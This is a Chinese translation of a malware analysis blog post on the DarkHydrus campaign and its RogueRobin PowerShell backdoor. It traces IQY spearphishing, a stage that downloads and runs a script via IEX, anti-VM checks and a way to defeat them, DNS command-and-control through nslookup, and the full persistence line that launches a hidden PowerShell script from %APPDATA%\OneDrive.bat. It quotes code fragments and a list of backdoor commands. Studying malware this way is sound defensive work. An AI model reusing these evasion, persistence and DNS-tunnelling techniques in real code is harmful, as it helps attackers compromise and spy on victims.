本文翻译自:https://0ffset.wordpress.com/2018/08/03/post-0x15-darkhydrus/
研究人员发现一起使用powershell恶意软件攻击中东地区的攻击活动,Unit 42的研究人员将攻击活动命名为DarkHydrus。本文对其进行分析:
MD5:
.iqy: 377cfd5b9aad2473d1659a5dbad01d90
Downloader: bd764192e951b5afd56870d2084bccfd
Final Stage: 953a753dd4944c9a2b9876b090bf7c00
DarkHydrus使用含有密码保护的.RAR文件的鱼叉式钓鱼邮件来感染目标。.RAR文件含有一个含有URL的.IQY文件,IQY文件是Excel Internet Query file。默认情况下,当Excel打开并执行IQY文件后,Excel会从IQY中的URL处提取内容,直到出现弹窗告警为止。下面先看一下IQY文件:
当IQY文件执行时,Excel会从url的web服务器上获取一个releasenotes.txt
文件。下面看一下IQY文件执行时的动态分析:
在文件执行时,Excel会弹出运行iqy文件可能会存在的安全威胁告警消息,点击Enable(开启)后才可以继续运行。
然后会弹出一个执行cmd.exe的安全警告。点击yes后,会创建cmd.exe,然后运行Powershell.exe进程。然后看一下releasenotes.txt的内容:
命令保存在A0中,由Excel执行。命令执行后会从micrrosoft/winupdate.ps1下载一个字符串,并由IEX执行。所以Powershell命令应该是stage 2的真实payload。
winupdate.ps1中的数据是经过压缩和base 64编码的,所用的方法与Emotet downloader一样。
因为用的是同样的powershell混淆方法,因此可以用下图中的python脚本进行解编码和解压缩payload。
从文档中我们可以看到VBox、VirtualBox、Qemu这样的关键字,这是恶意软件防止被分析的一种方法。DNS通信基于下面的queryTypes变量:
"A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA";
在分析C2协议前,研究人员找出了恶意软件使用的反分析方法,保存在Sandbox()函数中:
恶意软件嵌入的反分析方法包括:
样本使用WMI来找出SMBIOSBIOSVersion,如果与VBOX、bochs、qemu、VirtualBox、VM任何一个关键字匹配,恶意软件就会打印Virtual Machine Founded,然后结束运行。如果与上面的关键字不匹配,就检查Manufacturer与XEN是否匹配。如果匹配,打印Virtual Machine Founded,然后结束运行。然后查询总的物理内存,如果小于硬编码的内存大小限制(2900000000),就退出运行。如果所有检查都通过,并且匹配,恶意软件会继续检查处理器内核数,确保数量大于1。因为在虚拟机内分析时,一般分配的处理器数就是1,而且沙箱一般也只用一个处理器。如果没有其他关于虚拟机的暗示,恶意软件会运行Wireshark和Sysinternals来检查运行的进程。如果匹配,就退出运行。
所以,怎么绕过这些检查呢?其实非常容易。上图是用Powershell提出的Win32_Bios信息,里面有两个关键的信息,SMBIOSBIOSVersion和Version。因为恶意软件会检查SMBIOSBIOSVersion信息,所以就要改变它。用mofcomp.exe对Managed Object Format (MOF)文件进行分析,就可以改变的Win32_Bios值,所以当恶意软件去提取SMBIOSBIOSVersion信息时,就不会匹配为虚拟机了。
将上图中的信息复制并保存为.mof文件,保存到桌面。为了改变这些信息,需要admin管理员权限,以管理员权限运行powershell。运行mofcomp.exe,就可以看到和上图一样的输出结果了。
还添加了其他的信息,manufacturer被修改为Sony,SMBIOSBIOSVersion被修改为Legit_PC。MOF文件中Version的没有变化,这看起来像个GUID,而不是VBOX。
当在Sandbox函数中运行同样的Powershell命令时,就可以看到不匹配任何虚拟机信息。
$result = Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem" | Out-String
$result = [regex]::Match($result,"TotalPhysicalMemory : (\d+)")
$memory = $result.Groups[1].Value
if ([int64]$memory -lt [int64]$memorySizeLimit) {
exit
}
为了绕过其他的分分析方法,还要分配更多的RAM给虚拟机,确保大小超过2.9GB。处理器内核至少要2个,如果是1个的话,恶意软件就会退出。最后,确保恶意软件执行时不必要运行Wireshark或Sysinternals软件,否则,恶意软件也会退出。
看起来,query()函数好像是负责与C2服务器通过新。另外,攻击者好像是使用DNS来进行通信,因为nslookup.exe也在url列表中。为了确认query()函数需要的参数的意义,研究人员分析了函数test()中的query()调用过程:
foreach ($t in $Global:queryTypes) {
if ($Global:id.Length -ge 1) {
$response = query -query $Global:id -type $t -test $true -change_mode $false
}
else {
$response = query -query $PID -type $t -test $true -change_mode $false
}
代码在for
循环中,一共运行8次,这是根据queryTypes
变量中保存的查询类型数决定的。$t
表示当前查询的类型。If语句用来检查变量id的长度是否大于等于1,如果大于等于1,就将id
作为函数的第一个参数传递给函数。否则,程序会传递当前pid作为第一个参数。第二个参数$t
表示当前查询的类型。如果函数在第一个循环中就被调用,$t
就等于A,如果是第二个循环,$t
就等于AAAA,……以此类推。第三个参数query()表示执行函数来测试连接。最后,change_mode表示是否改变DNS查询通信方法,使用的roundRobin函数。
变量 $Parameters
是根据通信方法、域名、使用的服务器、ID、PID来填充的。然后使用iex
来调用nslookup.exe
,传递变量$parameters
作为参数。然后程序会检查命令运行的结果以检查连接是否成功。在输出的结果中会检查canonical name、mx、nameserver、mailserver、address。如果匹配,变量$check
会被设置为true,否则设置为false或函数返回cancel值。如果一切正常,函数会返回nslookup
的输出,如果失败,返回false。
如果连接成功,返回的值也不等于false,id的长度小于1,恶意软件就将查询类型保存在$t
中作为默认通信查询方法。然后,恶意软件会尝试生成id,保存在变量id中。如果第一个查询类型失败了,可以软件会循环查询后面的方法。如果id长度仍然小于1,程序会休眠变量$waiting
传递的时间,然后重新调用test(),第二次休眠的时间为$waiting
乘以2。最开始的时间,test函数会检查$waiting
的值,如果大于7200,程序会因为无法连接C2服务器而退出运行。也就是说test()函数在退出前会运行6个循环。
知道了test函数决定的是查询的类型后,下面看一下roundRobin函数:
roundRobin函数好像是恶意软件RogueRobin命名的来源。在query()函数调用中,RoundRobin会被调用,域名列表是第一个参数,当前域名在程序执行时位于位置0。使用这些参数,当$current
在$list
中时,RoundRobin可以得到$index
。当$index
大于等于列表的大小时,$index
会被设为0。最后,RoundRobin会返回$list[$index]
,变量保存在Global:domain
中。函数会在硬编码的域名中重复,但如果变量$change_mode
是true,就在DNS查询模式中重复:
if ($change_mode) {
$Global:mode = roundRobin -list $Global:queryTypes -current $Global:mode
}
下面分析恶意软件的驻留机制:
首先,程序会检查全局变量hasstartup是否等于1,如果等于1,开始startup方法。否则程序就按正常程序执行。写入变量$command中的数据就是原始payload的副本,唯一的区别就是删除的驻留机制,删除的目的是为了预防同时有多个恶意软件实例运行。一旦数据写入$command
,就会创建一个文件 %APPDATA%\OneDrive.bat
。写入的值为:
powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"
这一行代码写入.BAT文件后,恶意软件会把数据写入$command
中,并传递给%APPDATA%\OneDrive.ps1
。最后,会在开始菜单文件夹中创建一个OneDrive.lnk文件,该快捷方式文件含有一个到%APPDATA%\OneDrive.bat
的快捷方式。然后保存快捷方式,程序会检查运行的Windows版本来继续执行。者看起来是指向Windows 7目标主机的,这也是恶意软件检查的目的。
然后研究人员对myInfo()函数进行了分析,myInfo()函数负责收集和格式化这些信息,并发送给C2服务器:
然后数据与hasGarbage、hasstartup、hybdrid、sleep、jitter这些全局变量转化为长字符串。Jitter负责sleep机制,值是20。HasStartup含有与驻留相关的信息,hasGarbage负责决定是否在通信中加入垃圾数据。最后,hybdrid表示是否用RoundRobin函数来改变DNS查询方法。然后会返回形成的长字符串,调用myInfo会使用数据:
test
$ut8 = [System.Text.Encoding]::UTF8.GetBytes((myInfo))
$b64 = [System.Convert]::ToBase64String($ut8)
spliting -data $b64 -b64 $false -jobID '1' | Out-Null
在test函数被调用后,恶意软件会执行myInfo函数,然后将返回的数据进行base64编码,然后传递给spliting函数。然后用spliting
函数对数据进行格式化,并用query -query $queryData
发送,$queryData
含有格式化的数据和其他相关信息。在分析了其他对spliting的调用后,研究人员发现这是负责调用query和发送收集的信息和命令输出的函数。函数gettingJobs()
会查询C2服务器请求命令。
下面是RogueRobin中的命令变量列表:
攻击者可以上传和下载文件,从system、screenshort、import模块,显示恶意软件的当前配置。slp:\d+
负责设置与C2服务器通信的sleep timer时间间隔,slpx:\d+
负责设置发送DNS请求的sleep timer时间间隔,testmode执行test函数,选择与第一个web服务器进行通信,command允许攻击者用iex
执行系统上的命令,并发送执行的结果给攻击者。
从执行的命令来看,程序还可以截图:
if ($command -match '^\$screenshot'){
iex $command
continue;
脚本会执行$screenshot
中的命令,攻击者必须用importModule命令或fileUpload命令来完成截图机制。
下面是对恶意软件功能的总结:
Stage 1:
Stage 2
Stage 3
如果 $Global:hasstartup == 1
:
$command
中保存压缩和base64编码的powershell脚本%APPDATA%\OneDrive.bat
.bat文件,并写入值 ‘powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”‘
%APPDATA%\OneDrive.ps1
创建.PS1文件,并将$command
变量的内容写入文件%APPDATA%\OneDrive.bat
检查操作系统是不是Windows 7
执行函数test()
test()
用函数query()
与C2服务器进行通信– query()使用nslookup.exe来通过DNS发送信息执行函数myInfo()
spliting()
函数收集系统信息并发送回C2服务器,函数会用 query()来发送nslookup.exe返回的数据,发送前会将数据编码和格式化收集系统信息后并发送后,恶意软件会监听来自C2服务器的命令:
$fileDownload
$importModule
$fileUpload
$screenshot
$command
slp:\d+
testmode
showconfig
slpx:\d+
%APPDATA%
文件夹中的内容防止恶意软件重启后执行